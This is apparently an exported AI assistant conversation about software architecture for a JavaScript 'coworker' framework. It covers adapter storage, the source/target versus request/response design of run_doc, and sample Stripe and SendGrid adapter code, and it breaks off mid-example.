base_url: adapter.data.base_url,
timeout: adapter.data.timeout,
headers: adapter.data.headers
}
});
// 2. Save capabilities (functions)
for (const [name, fn] of Object.entries(adapter.functions)) {
await run('update', {
doctype: 'AdapterCapability',
where: {
adapter: adapter.meta.full_name,
name: name
},
input: {
function: fn.toString(),
permissions: adapter.permissions.filter(p => p[name])
}
});
}
// 3. Save steps
for (const [index, step] of adapter.steps.entries()) {
await run('update', {
doctype: 'AdapterStep',
where: {
adapter: adapter.meta.full_name,
step_name: step.name
},
input: {
order: index,
operation: step.operation,
args: step.args
}
});
}
};When to Use Each View
Use COLLAPSED (Singleton) When:
- ✅ Executing operations
- ✅ Passing adapter as parameter
- ✅ Runtime permission checks
- ✅ Minimizing database queries
- ✅ Caching for performance
javascript
// Execution context - wants ONE thing
await run('post', {
input: {...},
options: {
adapter: collapsedAdapter // Everything in one object
}
});Use EXPANDED (4 DocTypes) When:
- ✅ Editing configuration
- ✅ Adding new functions
- ✅ Version control / audit trail
- ✅ Fine-grained permissions (who can edit functions vs config)
- ✅ Sharing functions between adapters
- ✅ UI for adapter management
javascript
// Management context - wants separation
<AdapterEditor>
<ConfigTab> {/* Edit Adapter doc */}
<FunctionsTab> {/* Edit AdapterCapability docs */}
<StepsTab> {/* Edit AdapterStep docs */}
<PermissionsTab> {/* Edit Adapter schema.permissions */}
</AdapterEditor>
```
---
## Storage Architecture Options
### Option A: Always Expanded (Normalized Storage)
```
Storage:
- Adapter (doc)
- AdapterCapability (docs)
- AdapterStep (docs)
- Schema (Adapter schema)
Runtime:
- Load → Collapse into singleton
- Execute with singleton
- Save → Expand back to storage
```
**Pro**: Clean separation, easy to manage
**Con**: Load/save overhead
---
### Option B: Collapsed Storage (Denormalized)
```
Storage:
- Adapter doc containing ALL aspects in JSON fields
{
full_name: 'httpfetch',
fields: [...],
permissions: [...],
functions: {...}, // Serialized
steps: [...],
data: {...}
}
Runtime:
- Load → Already collapsed, just deserialize functions
- Execute with singleton
- Save → Direct update
```
**Pro**: Fast load, simple storage
**Con**: Hard to query/edit individual functions
---
### Option C: Hybrid (Recommended)
```
Storage:
- Adapter doc (config data + metadata)
- AdapterCapability docs (functions)
- AdapterStep docs (workflows)
- Schema (structure + base permissions)
Runtime:
- Load → Collapse into singleton
- Cache collapsed version
- Execute with cached singleton
- Save → Expand + invalidate cachePro: Best of both - manageable storage, fast execution
Con: Cache invalidation complexity
Conceptual Parallel to run_doc
javascript
// run_doc ALSO does collapse/expand!
// Expanded (conceptual)
{
source_doctype: "Task",
source_data: [...],
source_schema: {...},
source_meta: {...}
}
// Collapsed (actual)
run_doc.source = {
doctype: "Task",
data: [...],
schema: {...},
meta: {...}
}
// You collapsed 4 separate concepts into ONE integrated objectSame pattern for Adapter!
Implementation Example
javascript
// Storage layer (expanded)
class AdapterStorage {
async save(adapter) {
// Expand singleton into 4 doctype documents
}
async load(full_name) {
// Fetch from 4 doctypes, collapse into singleton
}
}
// Execution layer (collapsed)
class AdapterRuntime {
constructor(collapsedAdapter) {
this.adapter = collapsedAdapter; // Integrated entity
}
async execute(operation, input) {
// Check permissions (adapter.permissions)
// Get function (adapter.functions[operation])
// Use config (adapter.data)
// Run steps (adapter.steps)
}
}
// Bridge
coworker.loadAdapter = async (name) => {
const expanded = await AdapterStorage.load(name);
const collapsed = collapse(expanded); // Transform
coworker._adapterCache.set(name, collapsed);
return collapsed;
};
```
---
## Final Answer
**Yes, exactly correct:**
```
Collapse: Schema + Doc + Capabilities + Steps → Singleton
(4 separate concerns) (1 integrated entity)
Expand: Singleton → Schema + Doc + Capabilities + Steps
(1 integrated entity) (4 separate concerns)Use collapsed view for execution (runtime needs integrated context).
Use expanded view for management (storage/editing needs separation).
The transformation layer bridges between perspectives.
This is the same pattern as run_doc where you collapsed source_doctype + source_data + source_schema + source_meta into the integrated run_doc.source object.
3:32 PM
Source/Target Pattern for Adapters: Analysis
The Question
Should adapters use the same source/target pattern as run_doc?
javascript
// Current run_doc pattern
run_doc = {
operation: "update",
source: { doctype, schema, data, meta }, // Original state
target: { doctype, schema, data, meta }, // Transformed state
input: { ... } // Delta/patch
}
// Proposed adapter pattern
adapter = {
operation: "post",
source: { doctype, schema, data, meta }, // ???
target: { doctype, schema, data, meta }, // ???
input: { endpoint: '/users', body: {...} }
}Key Difference: Adapters vs CRUD Operations
CRUD Operations (run_doc)
javascript
// Clear source → target transformation
run('update', {
source: {
doctype: "Task",
data: [{ name: "TASK-001", status: "Open" }], // BEFORE
schema: {...}
},
input: { status: "Done" }, // PATCH
target: {
doctype: "Task",
data: [{ name: "TASK-001", status: "Done" }], // AFTER
schema: {...}
}
})Mental model: Source document mutates into target document.
Adapter Operations
javascript
// What is source? What is target?
run('post', {
source: {
doctype: "???",
data: ??? // The HTTP request?
},
target: {
doctype: "???",
data: ??? // The HTTP response?
},
input: { endpoint: '/users', body: {...} }
})Mental model: Adapter performs action, not document transformation.
Three Interpretations of source/target for Adapters
Interpretation 1: Adapter Configuration as Source
javascript
run('post', {
operation: "post",
source: {
doctype: "Adapter",
name: "HttpFetch",
data: {
base_url: 'https://api.com',
timeout: 5000,
headers: {...}
},
schema: { fields: [...], permissions: [...] },
meta: { loaded_at: ... }
},
input: {
endpoint: '/users',
body: { name: "John" }
},
target: {
doctype: "HttpResponse", // ?
data: {
status: 200,
body: { id: 123, name: "John" }
}
}
}Problem: What is "target"? Response isn't a doctype. Feels forced.
Interpretation 2: Request → Response Transformation
javascript
run('post', {
operation: "post",
source: {
doctype: "HttpRequest",
data: {
endpoint: '/users',
method: 'POST',
body: { name: "John" }
}
},
input: {
// Additional params from adapter config?
headers: { 'Authorization': '...' }
},
target: {
doctype: "HttpResponse",
data: {
status: 200,
body: { id: 123, name: "John" }
}
}
}Problem: HttpRequest/HttpResponse aren't real doctypes. Creating fake doctypes just to fit pattern.
Interpretation 3: Adapter is Just Config (Current Approach)
javascript
run('post', {
operation: "post",
input: {
endpoint: '/users',
body: { name: "John" }
},
options: {
adapter: {
// Collapsed singleton with everything
data: { base_url: '...', timeout: 5000 },
functions: { post: async (...) => {...} },
permissions: [...],
steps: [...]
}
},
output: {
status: 200,
data: { id: 123, name: "John" }
}
}No source/target - adapter is just configuration/capability used during execution.
When source/target Makes Sense
✅ CRUD Operations (Document Transformations)
javascript
source: { doctype: "Task", data: [old_task] }
→ mutation via input
→ target: { doctype: "Task", data: [new_task] }Clear transformation: same doctype, different state.
✅ Document Type Conversions
javascript
source: { doctype: "Lead", data: [lead] }
→ operation: "convert"
→ target: { doctype: "Customer", data: [customer] }Clear transformation: different doctype, related data.
❌ Adapter Operations (Side Effects)
javascript
source: { doctype: "???" }
→ operation: "post" (HTTP call)
→ target: { doctype: "???" }Not a transformation - it's an action with side effects.
The Core Issue: Semantic Mismatch
run_doc source/target works because:
- Both are DocType documents (Task → Task, Lead → Customer)
- Clear before/after states (old values → new values)
- Data lineage (target derived from source + input)
- Queryable (source.data can be queried, filtered, validated)
Adapters don't fit because:
- Not DocType documents (HTTP request/response aren't docs)
- No before/after (adapter doesn't mutate, it executes)
- No lineage (response isn't derived from adapter config)
- Nothing to query (what would
source.datacontain?)
Alternative: Adapter as Execution Context
Instead of forcing source/target, treat adapter as execution context:
javascript
run_doc = {
operation: "post",
// For CRUD: source/target (document transformation)
source: null,
target: null,
// For adapters: execution context
adapter: {
doctype: "Adapter",
name: "HttpFetch",
schema: { fields: [...], permissions: [...] },
data: { base_url: '...', timeout: 5000 },
functions: { post: async (...) => {...} },
meta: { loaded_at: ... }
},
// Input to adapter function
input: {
endpoint: '/users',
body: { name: "John" }
},
// Output from adapter function
output: {
status: 200,
data: { id: 123, name: "John" }
}
}Mental model:
- CRUD operations use
source → target(document transformation) - Adapter operations use
adapter + input → output(function execution)
Hybrid Approach: Steps Create source/target
If adapter has steps, those steps can have source/target:
javascript
adapter = {
name: "HttpFetch",
data: { base_url: '...' },
functions: { post: async (...) => {...} },
steps: [
{
name: "validate_input",
operation: "validate",
source: { doctype: "Input", data: input }, // ✓ Makes sense
target: { doctype: "ValidatedInput", data: validated }
},
{
name: "execute_request",
operation: "post", // Calls adapter.functions.post
// No source/target - just execution
},
{
name: "save_response",
operation: "create",
source: { doctype: "HttpResponse", data: response }, // ✓ Makes sense
target: { doctype: "Log", data: log_entry }
}
]
}Pattern:
- Adapter itself: NO source/target (it's a capability)
- Adapter steps: YES source/target (they're transformations)
Value vs Confusion Matrix
| Approach | Value | Confusion | Verdict |
|---|---|---|---|
| Adapter with source/target | Low - doesn't represent real transformation | High - what goes in source? target? | ❌ More confusion |
| Adapter as execution context | High - clear separation from CRUD | Low - different pattern for different purpose | ✅ Clear semantics |
| Steps have source/target | High - steps ARE transformations | Medium - nested structure | ✅ Best of both |
Recommended Architecture
javascript
// CRUD operations: Use source/target
run('update', {
operation: "update",
source: { doctype: "Task", data: [...], schema: {...} },
target: { doctype: "Task", data: [...], schema: {...} },
input: { status: "Done" }
});
// Adapter operations: Use adapter context
run('post', {
operation: "post",
adapter: {
doctype: "Adapter",
name: "HttpFetch",
data: { base_url: '...' },
functions: { post: async (...) => {...} },
schema: { permissions: [...] },
meta: { ... }
},
input: { endpoint: '/users', body: {...} },
output: { status: 200, data: {...} }
});
// Adapter with steps: Steps use source/target
run('execute_workflow', {
operation: "execute_workflow",
adapter: {
name: "ComplexFlow",
steps: [
{
source: { doctype: "Input", data: [...] },
target: { doctype: "Validated", data: [...] },
operation: "validate"
},
{
// This step calls HTTP adapter - no source/target at this level
operation: "post",
adapter_ref: "HttpFetch"
},
{
source: { doctype: "Response", data: [...] },
target: { doctype: "Log", data: [...] },
operation: "create"
}
]
}
});Final Answer
More confusion than value for adapters themselves.
Why:
- Adapters aren't document transformations (source → target)
- They're capabilities that execute actions (input → output)
- Forcing source/target creates semantic mismatch
Better approach:
- Keep
source/targetfor CRUD operations (document transformations) - Use
adapteras execution context (capability + config) - Let adapter steps use
source/target(they ARE transformations)
javascript
// Clear separation
run_doc = {
// For document operations
source: { ... },
target: { ... },
// For adapter operations
adapter: { ... }, // NOT source/target
// Input/output for both
input: { ... },
output: { ... }
}This maintains semantic clarity: source/target means "document transformation", adapter means "capability execution".
3:36 PM
Breakthrough: Target Always Exists, Source is Optional
The Insight
javascript
// EVERY operation produces output that needs structure
run_doc.output.data[0] → needs schema to render/validate
// Therefore EVERY operation needs target
target: {
doctype: "Something", // Defines output structure
schema: {...}, // How to interpret/render output
data: [...], // The actual output
meta: {...} // Execution metadata
}
// But NOT every operation reads from a document
source: ??? // Sometimes doesn't existAnalysis by Operation Type
1. CRUD Operations: Source + Target
javascript
// SELECT: Read existing docs
run('select', {
source: {
doctype: "Task", // ✓ Reading from Task table
schema: {...},
data: [...], // Results
meta: { fetched: 10 }
},
target: {
doctype: "Task", // ✓ Output is Task documents
schema: {...}, // Same schema
data: [...], // Same data (copy of source)
meta: {}
}
})
// UPDATE: Transform existing doc
run('update', {
source: {
doctype: "Task", // ✓ Original state
data: [{ status: "Open" }]
},
input: { status: "Done" }, // Delta
target: {
doctype: "Task", // ✓ New state
data: [{ status: "Done" }]
}
})
// CREATE: No source
run('create', {
source: null, // ✗ Nothing to read from
input: { title: "New Task" },
target: {
doctype: "Task", // ✓ Creating Task document
schema: {...},
data: [{ name: "TASK-001", title: "New Task" }]
}
})Pattern:
- ✓ Target always exists (output structure)
- ? Source exists for read/update, null for create
2. Adapter Operations: No Source, Target = Response Structure
javascript
// HTTP POST
run('post', {
source: null, // ✗ Not reading from a document
adapter: {
doctype: "Adapter",
name: "HttpFetch",
data: { base_url: '...' },
functions: { post: async (...) => {...} }
},
input: {
endpoint: '/users',
body: { name: "John" }
},
target: {
doctype: "HttpResponse", // ✓ Defines response structure
schema: {
fields: [
{ fieldname: 'status', fieldtype: 'Int' },
{ fieldname: 'body', fieldtype: 'JSON' },
{ fieldname: 'headers', fieldtype: 'JSON' }
]
},
data: [{
status: 200,
body: { id: 123, name: "John" },
headers: { 'content-type': 'application/json' }
}],
meta: { duration: 150 }
}
})Pattern:
- ✗ Source null (not reading a document)
- ✓ Target defines response structure
- ✓ Target.schema tells system how to render/validate response
3. Workflow/Steps: Source = Previous Step Output
javascript
// Step 1: No source
run('select_open_tasks', {
source: null,
target: {
doctype: "Task",
data: [{ name: "TASK-001" }, { name: "TASK-002" }]
}
})
// Step 2: Source = Step 1's target
run('calculate_metrics', {
source: {
doctype: "Task", // ✓ From previous step
data: [{ name: "TASK-001" }, { name: "TASK-002" }]
},
target: {
doctype: "Metrics", // ✓ Different structure
schema: {
fields: [
{ fieldname: 'task_count', fieldtype: 'Int' },
{ fieldname: 'total_hours', fieldtype: 'Float' }
]
},
data: [{
task_count: 2,
total_hours: 16
}]
}
})Pattern:
- ? Source = previous step's target (data pipeline)
- ✓ Target always exists (current step output)
The Universal Pattern
javascript
run_doc = {
operation: "...",
// OPTIONAL: Where we're reading from
source: source_exists ? {
doctype: "SourceType",
schema: {...},
data: [...],
meta: {...}
} : null,
// REQUIRED: Where we're writing to / output structure
target: {
doctype: "TargetType", // Always needed for output
schema: {...}, // How to interpret output
data: [...], // The actual result
meta: {...} // Execution metadata
},
// Input (patch/params)
input: {...},
// Options
options: {
adapter: adapter_exists ? {...} : null
}
}Why Target Always Needs Schema
1. Rendering
javascript
// UI needs to know how to display output
function _render(run_doc) {
const schema = run_doc.target.schema;
const data = run_doc.target.data[0];
// Render based on schema fields
schema.fields.forEach(field => {
renderField(field, data[field.fieldname]);
});
}2. Validation
javascript
// System needs to validate output structure
function validateOutput(run_doc) {
const schema = run_doc.target.schema;
const data = run_doc.target.data[0];
schema.fields.forEach(field => {
if (field.required && !data[field.fieldname]) {
throw new Error(`Missing required field: ${field.fieldname}`);
}
});
}3. Permissions
javascript
// Need schema to check if user can see this data
function checkReadPermission(user, run_doc) {
const schema = run_doc.target.schema;
return checkPermission(user, schema.permissions, 'read');
}4. Type Safety
javascript
// Client code knows what to expect
const result = await run('post', {...});
// result.target.schema tells us structure
// result.target.data[0].status → Int
// result.target.data[0].body → JSONAdapter Target Schema Design
javascript
// Define schemas for adapter response types
Schemas = {
HttpResponse: {
name: "HttpResponse",
fields: [
{ fieldname: 'status', fieldtype: 'Int', label: 'Status Code' },
{ fieldname: 'statusText', fieldtype: 'Data', label: 'Status Text' },
{ fieldname: 'body', fieldtype: 'JSON', label: 'Response Body' },
{ fieldname: 'headers', fieldtype: 'JSON', label: 'Response Headers' },
{ fieldname: 'duration', fieldtype: 'Int', label: 'Duration (ms)' }
],
permissions: [
{ role: "System Manager", read: 1 }
]
},
S3Response: {
name: "S3Response",
fields: [
{ fieldname: 'url', fieldtype: 'Data', label: 'File URL' },
{ fieldname: 'key', fieldtype: 'Data', label: 'S3 Key' },
{ fieldname: 'size', fieldtype: 'Int', label: 'File Size' },
{ fieldname: 'etag', fieldtype: 'Data', label: 'ETag' }
]
},
CodeExecution: {
name: "CodeExecution",
fields: [
{ fieldname: 'result', fieldtype: 'JSON', label: 'Execution Result' },
{ fieldname: 'stdout', fieldtype: 'Long Text', label: 'Standard Output' },
{ fieldname: 'stderr', fieldtype: 'Long Text', label: 'Standard Error' },
{ fieldname: 'exit_code', fieldtype: 'Int', label: 'Exit Code' }
]
}
}Implementation Pattern
javascript
// When executing adapter operation
coworker._exec = async function(run_doc) {
// 1. Get adapter
const adapter = run_doc.options.adapter;
// 2. Determine target doctype based on operation
const targetDoctype = this._getAdapterTargetDoctype(
adapter.name,
run_doc.operation
);
// 3. Initialize target early
run_doc.target = {
doctype: targetDoctype,
schema: await this.getSchema(targetDoctype),
data: null, // Will be populated after execution
meta: {}
};
// 4. Check if source needed (some operations read first)
if (this._operationNeedsSource(run_doc.operation)) {
run_doc.source = {
doctype: adapter.source_doctype,
schema: await this.getSchema(adapter.source_doctype),
data: await this._fetchSourceData(run_doc),
meta: {}
};
}
// 5. Execute adapter function
const fn = adapter.functions[run_doc.operation];
const result = await fn(
run_doc.input,
adapter.data,
run_doc.source?.data // Pass source if exists
);
// 6. Populate target.data
run_doc.target.data = [result];
run_doc.target.meta = {
executed_at: Date.now(),
duration: Date.now() - run_doc.creation
};
return run_doc;
};
// Helper to map adapter operation to target doctype
coworker._getAdapterTargetDoctype = function(adapterName, operation) {
const mapping = {
'HttpFetch': {
'get': 'HttpResponse',
'post': 'HttpResponse',
'put': 'HttpResponse',
'delete': 'HttpResponse'
},
'S3Storage': {
'upload': 'S3Response',
'download': 'S3Response',
'delete': 'S3Response'
},
'CodeRunner': {
'execute': 'CodeExecution',
'eval': 'CodeExecution'
}
};
return mapping[adapterName]?.[operation] || 'GenericResponse';
};Adapter Definition with Target Mapping
javascript
// Adapter document includes target doctype mapping
Adapter: HttpFetch = {
name: "HttpFetch",
// Config
data: {
base_url: 'https://api.com',
timeout: 5000
},
// Functions
functions: {
get: "async (input, config, source) => { ... }",
post: "async (input, config, source) => { ... }"
},
// Target mapping (NEW)
target_doctypes: {
get: 'HttpResponse',
post: 'HttpResponse',
put: 'HttpResponse',
delete: 'HttpResponse'
},
// Source requirements (NEW)
source_required: {
get: false, // GET doesn't need source document
post: false,
put: false,
delete: false
}
}Final Answer
Yes, you're absolutely right:
javascript
// Universal pattern
run_doc = {
source: null | { doctype, schema, data, meta }, // OPTIONAL
target: { doctype, schema, data, meta }, // REQUIRED
input: {...},
options: { adapter: {...} }
}Source doesn't always fit because:
- CREATE operations have no source
- Adapter operations often don't read documents
- Some operations start from scratch
Target always fits because:
- Every operation produces output
- Output needs schema for rendering/validation/permissions
- Even adapter responses need structure definition
For adapters specifically:
javascript
run('post', {
source: null, // ✗ Not reading a document
target: { // ✓ Response structure
doctype: "HttpResponse",
schema: {...},
data: [{ status: 200, body: {...} }]
},
options: { adapter: httpFetch }
})This maintains consistency: target is always the contract for output, regardless of operation type.
3:41 PM
The Shift: CRUD Documents → Generic Request/Response
The Conceptual Evolution
javascript
// FROM: CRUD-centric (document transformation)
run_doc = {
source: { doctype: "Task", data: [...] },
target: { doctype: "Task", data: [...] },
input: { status: "Done" }
}
// TO: Generic request/response (universal I/O)
run_doc = {
request: {
operation: "update",
doctype: "Task",
where: { name: "TASK-001" },
data: { status: "Done" }
},
response: {
data: [{
status: 200,
body: { name: "TASK-001", status: "Done" }
}]
}
}The Universal Response Structure
javascript
// EVERY operation returns the same structure
run_doc.response.data[0] = {
status: 200, // HTTP-like status code
body: {...}, // The actual payload
message: "Success", // Human-readable message
meta: {...} // Execution metadata
}This Works For Everything:
CRUD Operations
javascript
// SELECT
response.data[0] = {
status: 200,
body: [
{ name: "TASK-001", title: "Fix bug" },
{ name: "TASK-002", title: "Add feature" }
],
message: "Found 2 tasks",
meta: { count: 2, duration: 45 }
}
// CREATE
response.data[0] = {
status: 201,
body: { name: "TASK-003", title: "New task" },
message: "Task created successfully",
meta: { id: "TASK-003" }
}
// UPDATE
response.data[0] = {
status: 200,
body: { name: "TASK-001", status: "Done" },
message: "Task updated",
meta: { updated_fields: ["status"] }
}
// DELETE
response.data[0] = {
status: 200,
body: { name: "TASK-001" },
message: "Task deleted",
meta: { deleted: true }
}Adapter Operations
javascript
// HTTP POST
response.data[0] = {
status: 200,
body: { id: 123, name: "John" },
message: "User created on external API",
meta: { duration: 150, url: "https://api.com/users" }
}
// S3 Upload
response.data[0] = {
status: 200,
body: { url: "https://s3.../file.pdf", key: "uploads/file.pdf" },
message: "File uploaded successfully",
meta: { size: 1024000 }
}
// Code Execution
response.data[0] = {
status: 200,
body: { result: 42, logs: ["Computing...", "Done"] },
message: "Code executed successfully",
meta: { exit_code: 0, duration: 234 }
}Error Cases
javascript
response.data[0] = {
status: 404,
body: null,
message: "Task not found",
meta: { error_code: "NOT_FOUND" }
}
response.data[0] = {
status: 403,
body: null,
message: "Permission denied",
meta: { required_permission: "write" }
}
response.data[0] = {
status: 500,
body: null,
message: "Database connection failed",
meta: { error: "ECONNREFUSED" }
}Simplified run_doc Structure
javascript
run_doc = {
// ══════════════════════════════════════
// REQUEST (Input side)
// ══════════════════════════════════════
request: {
// Operation
operation: "update",
// Target
doctype: "Task",
// Query (for read operations)
where: { name: "TASK-001" },
select: ["name", "title", "status"],
limit: 10,
// Data (for write operations)
data: { status: "Done" },
// Options
options: {
adapter: "HttpFetch",
validate: true,
draft: false
}
},
// ══════════════════════════════════════
// RESPONSE (Output side)
// ══════════════════════════════════════
response: {
data: [{
status: 200,
body: { name: "TASK-001", status: "Done" },
message: "Task updated successfully",
meta: { duration: 45, updated_fields: ["status"] }
}]
},
// ══════════════════════════════════════
// METADATA (Execution context)
// ══════════════════════════════════════
doctype: "Run",
name: "run-xxx",
creation: 1234567890,
owner: "user@example.com",
success: true,
duration: 45
}Benefits of This Approach
1. Universal Interface
javascript
// Client code always knows what to expect
const result = await coworker.run({...});
// Always the same access pattern
const statusCode = result.response.data[0].status;
const payload = result.response.data[0].body;
const message = result.response.data[0].message;
// Works for CRUD, adapters, workflows - everything2. HTTP-like Semantics (Familiar)
javascript
// Developers already know HTTP status codes
200 → Success
201 → Created
204 → No Content
400 → Bad Request
403 → Forbidden
404 → Not Found
500 → Server Error3. Consistent Error Handling
javascript
function handleResult(run_doc) {
const res = run_doc.response.data[0];
if (res.status >= 200 && res.status < 300) {
// Success
return res.body;
} else if (res.status >= 400 && res.status < 500) {
// Client error
throw new Error(res.message);
} else {
// Server error
console.error(res.meta);
throw new Error("Operation failed");
}
}4. Composable Responses
javascript
// Multiple operations in sequence
const run1 = await coworker.run({ operation: "select", ... });
const tasks = run1.response.data[0].body;
const run2 = await coworker.run({
operation: "update",
data: { status: "Done" },
where: { name: tasks[0].name }
});
const updated = run2.response.data[0].body;5. Schema Still Available (When Needed)
javascript
// Response can still include schema for rendering
response.data[0] = {
status: 200,
body: { name: "TASK-001", status: "Done" },
message: "Task updated",
schema: {
doctype: "Task",
fields: [...],
permissions: [...]
}
}
// But schema is optional metadata, not required structureBackward Compatibility Strategy
Phase 1: Add response alongside target
javascript
run_doc = {
// Old structure (deprecated)
target: {
doctype: "Task",
schema: {...},
data: [{ name: "TASK-001", status: "Done" }]
},
// New structure
response: {
data: [{
status: 200,
body: { name: "TASK-001", status: "Done" },
message: "Task updated"
}]
}
}
// Accessor for backward compatibility
Object.defineProperty(run_doc, 'output', {
get() {
// Old code expects run_doc.output.data[0]
return { data: this.target.data };
}
});Phase 2: Deprecate target
javascript
// Warn on access
Object.defineProperty(run_doc, 'target', {
get() {
console.warn('run_doc.target is deprecated, use run_doc.response');
return this._target;
}
});Phase 3: Remove target
javascript
run_doc = {
request: {...},
response: {...}
// target removed
}Implementation
javascript
coworker.run = async function(op) {
const run_doc = {
doctype: "Run",
name: generateId("run"),
creation: Date.now(),
// REQUEST
request: {
operation: op.operation,
doctype: op.doctype,
where: op.where || op.query?.where,
select: op.select || op.query?.select,
data: op.input || op.data,
options: op.options || {}
},
// RESPONSE (empty initially)
response: {
data: []
},
// STATE
status: "running",
success: false,
error: null
};
try {
// Execute operation
const result = await this._exec(run_doc);
// Build universal response
run_doc.response.data[0] = {
status: this._getStatusCode(run_doc.request.operation, result),
body: result.data || result,
message: this._getMessage(run_doc.request.operation, result),
meta: {
duration: Date.now() - run_doc.creation,
...result.meta
}
};
run_doc.success = true;
run_doc.status = "completed";
} catch (err) {
// Error response
run_doc.response.data[0] = {
status: err.statusCode || 500,
body: null,
message: err.message,
meta: {
error_code: err.code,
stack: this._config.debug ? err.stack : undefined
}
};
run_doc.success = false;
run_doc.status = "failed";
run_doc.error = err;
}
return run_doc;
};
// Helper to determine status code
coworker._getStatusCode = function(operation, result) {
if (result.error) return 500;
const codes = {
'create': 201,
'select': 200,
'update': 200,
'delete': 200,
'post': 200,
'get': 200
};
return codes[operation] || 200;
};
// Helper to generate message
coworker._getMessage = function(operation, result) {
const messages = {
'create': `${result.doctype || 'Record'} created successfully`,
'select': `Found ${result.data?.length || 0} records`,
'update': `${result.doctype || 'Record'} updated successfully`,
'delete': `${result.doctype || 'Record'} deleted successfully`
};
return result.message || messages[operation] || "Operation completed";
};Usage Examples
javascript
// CRUD - Select
const run = await coworker.run({
operation: 'select',
doctype: 'Task',
where: { status: 'Open' }
});
console.log(run.response.data[0].status); // 200
console.log(run.response.data[0].body); // [{ name: "TASK-001", ... }]
console.log(run.response.data[0].message); // "Found 2 records"
// CRUD - Create
const run = await coworker.run({
operation: 'create',
doctype: 'Task',
data: { title: 'New task' }
});
console.log(run.response.data[0].status); // 201
console.log(run.response.data[0].body); // { name: "TASK-003", ... }
// Adapter - HTTP POST
const run = await coworker.run({
operation: 'post',
data: { endpoint: '/users', body: { name: 'John' } },
options: { adapter: 'HttpFetch' }
});
console.log(run.response.data[0].status); // 200
console.log(run.response.data[0].body); // { id: 123, name: "John" }
// Error handling
const run = await coworker.run({
operation: 'select',
doctype: 'Task',
where: { name: 'NONEXISTENT' }
});
if (run.response.data[0].status === 404) {
console.log(run.response.data[0].message); // "Task not found"
}Final Answer
Yes, moving to run.response.data[0] = { status, body, message, meta } is the right evolution.
Why:
- ✅ Universal - works for CRUD, adapters, workflows, everything
- ✅ Familiar - HTTP-like semantics developers already know
- ✅ Structured - consistent response format
- ✅ Composable - easy to chain operations
- ✅ Error-friendly - status codes naturally express success/failure
- ✅ Simple - client code always knows what to expect
The transformation:
javascript
// FROM: Document-centric
source → target (transformation)
// TO: Service-centric
request → response (communication)This aligns with modern API patterns and makes your system more generic and powerful beyond just CRUD operations.
3:43 PM
Universal Request/Response Pattern: Real-World Services
Service 1: Stripe Payment Processing
Traditional Stripe SDK Usage
javascript
const stripe = require('stripe')('sk_test_...');
// Create customer
const customer = await stripe.customers.create({
email: 'customer@example.com',
name: 'John Doe'
});
// Create payment intent
const paymentIntent = await stripe.paymentIntents.create({
amount: 2000,
currency: 'usd',
customer: customer.id,
payment_method: 'pm_card_visa'
});
// Retrieve invoice
const invoice = await stripe.invoices.retrieve('in_1234');Unified Coworker Pattern
javascript
// Create customer
const run1 = await coworker.run({
operation: 'create_customer',
doctype: 'StripeCustomer',
data: {
email: 'customer@example.com',
name: 'John Doe'
},
options: { adapter: 'Stripe' }
});
console.log(run1.response.data[0]);
// {
// status: 201,
// body: {
// id: 'cus_abc123',
// email: 'customer@example.com',
// name: 'John Doe',
// created: 1234567890
// },
// message: "Customer created successfully",
// meta: {
// stripe_request_id: 'req_xyz',
// duration: 234
// }
// }
// Create payment intent
const run2 = await coworker.run({
operation: 'create_payment_intent',
doctype: 'StripePaymentIntent',
data: {
amount: 2000,
currency: 'usd',
customer: run1.response.data[0].body.id,
payment_method: 'pm_card_visa'
},
options: { adapter: 'Stripe' }
});
console.log(run2.response.data[0]);
// {
// status: 201,
// body: {
// id: 'pi_abc123',
// amount: 2000,
// currency: 'usd',
// status: 'requires_confirmation',
// client_secret: 'pi_abc123_secret_xyz'
// },
// message: "Payment intent created",
// meta: {
// stripe_request_id: 'req_def',
// duration: 189
// }
// }
// Retrieve invoice
const run3 = await coworker.run({
operation: 'get_invoice',
doctype: 'StripeInvoice',
where: { id: 'in_1234' },
options: { adapter: 'Stripe' }
});
console.log(run3.response.data[0]);
// {
// status: 200,
// body: {
// id: 'in_1234',
// amount_due: 2000,
// amount_paid: 2000,
// status: 'paid',
// customer: 'cus_abc123'
// },
// message: "Invoice retrieved",
// meta: {
// stripe_request_id: 'req_ghi',
// duration: 145
// }
// }
// Handle error case
const run4 = await coworker.run({
operation: 'create_payment_intent',
doctype: 'StripePaymentIntent',
data: {
amount: 50, // Below minimum
currency: 'usd'
},
options: { adapter: 'Stripe' }
});
console.log(run4.response.data[0]);
// {
// status: 400,
// body: null,
// message: "Amount must be at least $0.50 usd",
// meta: {
// error_code: "amount_too_small",
// stripe_error_type: "invalid_request_error",
// param: "amount"
// }
// }Stripe Adapter Definition
javascript
Adapter: Stripe = {
name: "Stripe",
full_name: "stripe",
data: {
api_key: process.env.STRIPE_SECRET_KEY,
api_version: '2023-10-16',
base_url: 'https://api.stripe.com/v1'
},
functions: {
create_customer: `async function(input, config) {
const response = await fetch(config.base_url + '/customers', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + config.api_key,
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams(input)
});
return await response.json();
}`,
create_payment_intent: `async function(input, config) {
const response = await fetch(config.base_url + '/payment_intents', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + config.api_key,
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams(input)
});
return await response.json();
}`,
get_invoice: `async function(input, config) {
const response = await fetch(config.base_url + '/invoices/' + input.id, {
method: 'GET',
headers: {
'Authorization': 'Bearer ' + config.api_key
}
});
return await response.json();
}`
},
permissions: [
{ role: "System Manager", create_customer: 1, create_payment_intent: 1, get_invoice: 1 },
{ role: "Finance Manager", create_payment_intent: 1, get_invoice: 1 },
{ role: "Accountant", get_invoice: 1 }
]
}Service 2: SendGrid Email Delivery
Traditional SendGrid SDK Usage
javascript
const sgMail = require('@sendgrid/mail');
sgMail.setApiKey(process.env.SENDGRID_API_KEY);
// Send single email
await sgMail.send({
to: 'customer@example.com',
from: 'support@company.com',
subject: 'Welcome!',
text: 'Welcome to our service',
html: '<h1>Welcome to our service</h1>'
});
// Send template email
await sgMail.send({
to: 'customer@example.com',
from: 'support@company.com',
templateId: 'd-abc123',
dynamicTemplateData: {
name: 'John',
order_id: '12345'
}
});
// Get email activity
const request = {
method: 'GET',
url: '/v3/messages',
qs: {
query: 'to_email="customer@example.com"',
limit: 10
}
};
const [response, body] = await sgMail.request(request);Unified Coworker Pattern
javascript
// Send single email
const run1 = await coworker.run({
operation: 'send_email',
doctype: 'Email',
data: {
to: 'customer@example.com',
from: 'support@company.com',
subject: 'Welcome!',
text: 'Welcome to our service',
